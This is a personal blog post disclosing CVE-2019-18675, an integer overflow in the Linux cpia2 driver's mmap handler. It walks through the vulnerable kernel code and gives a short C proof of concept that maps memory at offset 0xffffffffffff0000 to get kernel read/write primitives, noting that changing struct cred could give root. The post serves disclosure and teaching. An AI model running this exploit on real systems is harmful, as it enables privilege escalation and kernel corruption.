<-- home

Kernel Research / mmap handler exploitation

Description

Recently I started to review the linux kernel, I’ve putted much time and effort trying to identify vulnerabilities. I looked on the cpia2 driver , which is a V4L driver , aimed for supporting cpia2 webcams. official documentation here. I found a vulnerability in the mmap handler implementation of the driver. Kernel drivers may re-implement their own mmap handlers , usually for speeding up the process of exchanging data between user space and kernel space. The cpia2 driver re-implement a mmap hanlder for sharing the frame’s buffer with the user application which controls the camera. —

Lets get into it

Here is the userspace mmap function prototype (taken from man):

void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);

Here the user supplies parameter for the mapping , we will be interested in the size and offset parameters.

  • length - will determine the length of the mapping
  • offset - will determine the offset from the beginning of the device we will start the mapping from.

The driver’s specific mmap handler will remap kernel memory to userspace using a function like remap_pfn_range

CVE-2019-18675

Lets have a look at the cpia2 mmap handler implementation:

We can see the file_operations struct:


/***
 * The v4l video device structure initialized for this device
 ***/
static const struct v4l2_file_operations cpia2_fops = {
	.owner		= THIS_MODULE,
	.open		= cpia2_open,
	.release	= cpia2_close,
	.read		= cpia2_v4l_read,
	.poll		= cpia2_v4l_poll,
	.unlocked_ioctl	= video_ioctl2,
	.mmap		= cpia2_mmap,
    };

Lets look at the function cpia2_mmap

static int cpia2_mmap(struct file *file, struct vm_area_struct *area)
{
	struct camera_data *cam = video_drvdata(file);
	int retval;

	if (mutex_lock_interruptible(&cam->v4l2_lock))
		return -ERESTARTSYS;
	retval = cpia2_remap_buffer(cam, area);

	if(!retval)
		cam->stream_fh = file->private_data;
	mutex_unlock(&cam->v4l2_lock);
	return retval;
}

It just calls the function cpia2_remap_buffer() with a pointer to the camera_data struct:

/******************************************************************************
 *
 *  cpia2_remap_buffer
 *
 *****************************************************************************/
int cpia2_remap_buffer(struct camera_data *cam, struct vm_area_struct *vma)
{
	const char *adr = (const char *)vma->vm_start;
	unsigned long size = vma->vm_end-vma->vm_start;
	unsigned long start_offset = vma->vm_pgoff << PAGE_SHIFT;
	unsigned long start = (unsigned long) adr;
	unsigned long page, pos;

	DBG("mmap offset:%ld size:%ld\n", start_offset, size);

	if (!video_is_registered(&cam->vdev))
		return -ENODEV;

	if (size > cam->frame_size*cam->num_frames  ||
	    (start_offset % cam->frame_size) != 0 ||
	    (start_offset+size > cam->frame_size*cam->num_frames))
		return -EINVAL;

	pos = ((unsigned long) (cam->frame_buffer)) + start_offset;
	while (size > 0) {
		page = kvirt_to_pa(pos);
		if (remap_pfn_range(vma, start, page >> PAGE_SHIFT, PAGE_SIZE, PAGE_SHARED))
			return -EAGAIN;
		start += PAGE_SIZE;
		pos += PAGE_SIZE;
		if (size > PAGE_SIZE)
			size -= PAGE_SIZE;
		else
			size = 0;
	}

	cam->mmapped = true;
	return 0;
}

we can see that start_offset + size is being calculated , and the sum is being compared to the total size of the frames:

if(... || (start_offset+size > cam->frame_size*cam->num_frames))
    return -EINVAL;

However, the calculation start_offset + size could wrap-around to a low value (a.k.a Integer Overflow), allowing an attacker to bypass the check while still using a big start_offset value which will lead to mapping of unintended kernel memory. The only requirement is that the start_offset value will be a multiple of the frame_size (which can be controlled by the cpia2 driver options, by default its 68k). And this can be quite bad because a huge offset will allow us to perform a mapping in an arbitrary offset (outside of the frame buffer’s bounds) , and this can possibly result in a privillege escalation

Demo time!

I’ve used a qemu kernel virtual machine (here). Now we have to:

  • Open /dev/video0
  • mmaping size 0x11000 at offset 0xffffffffffff0000. The overlow will ocuur and we will pass the check :)

Here is a minimalistic example for exploit code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define VIDEO_DEVICE "/dev/video0"
int main(){

        pid_t pid;
        char command[40];

        int fd =  open(VIDEO_DEVICE , O_RDWR);
        if(fd < 0){
                printf("[-]Error opening device file\n");
        }

        printf("[+]Demonstration\n");
        pid = getpid();
        printf("[~]PID IS %d ", pid);

        getchar();
        int size =  0x11000;
        unsigned long mapStarter = 0x43434000;
        unsigned long * mapped = mmap((void *)mapStarter,  size, PROT_WRITE | PROT_READ, MAP_SHARED , fd , 0xffffffffffff0000);


        if(mapped == MAP_FAILED)
                printf("[-]Error mapping the specified region\n");
        else
                puts("[+]mmap went successfully\n");
        /*view the /proc/<pid>/maps file */

        sprintf(command , "cat /proc/%d/maps", pid);
        system(command);

        return 0;
}

Compile and run:

and B00M! we have got a read and write primitives in kernel space! By modifying struct cred or kernel function pointers/ variables we can possibly gain root! or destroy kernel data!

Tips and thoughts

  • Because I didnt have the required hardware (for example, Intel Qx5 microscope ), I’ve made some changes in the driver’s code for this poc . I made some changes to the hardware and usb’s parts, In a way that allowed me to test the mmap functionallity as its in the original driver . Because the vulnerability is not related to the hardware interaction partsl , this wasn’t a problem. This way I could research more and even debug the interesting parts without being depend on hardware.

  • This vulnerability is more than 8 years old!

  • This is my first public vulnerability!

Additional info

  • CVE-2019-18675 on NVD
  • CVE-2019-18675 on Mitre